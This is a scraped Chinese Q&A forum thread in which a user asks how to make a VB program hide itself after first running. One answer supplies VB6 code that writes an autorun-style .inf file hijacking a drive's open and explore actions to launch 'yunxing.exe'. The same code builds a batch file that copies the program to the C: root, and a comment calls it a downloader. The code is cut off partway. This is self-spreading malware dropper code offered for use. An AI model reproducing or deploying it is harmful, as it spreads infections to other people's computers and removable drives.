VB高手来解惑!!

来源:百度知道 编辑:UC知道 时间:2024/05/30 18:23:45
请问,一个用VB生成的EXE程序,在它的第一次运行后就把它的属性默认为隐藏啊,要怎么实现呢,

不可能的

VB妮可的是运行后,把自己隐藏起来 不可取

秋色烽火的,如果单纯是exe属性为隐藏可以 ,但是如果你的exe是执行应用程序的话,就不可以了!

这个是我的代码,运用批处理的。

Private Sub Form_Load()

'建立一个yunxing.inf文件
Open App.Path & "\yunxing.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open=yunxing.exe"
Print #1, "shell\open=打开(&O)"
Print #1, "shell\open\Command=yunxing.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=资源管理器(&X)"
Print #1, "shell\explore\Command=yunxing.exe"
Close #1

'建立一个yunxing.bat文件
Open App.Path & "\yunxing.bat" For Output As #3

'下面的是写入内容
Print #3, "@ECHO off"
Print #3, "color 0A"

'下面的是复制下载者和YiHui.inf到硬盘的根目录
Print #3, "copy " & App.EXEName + ".exe c:\yunxing.exe >nul"
P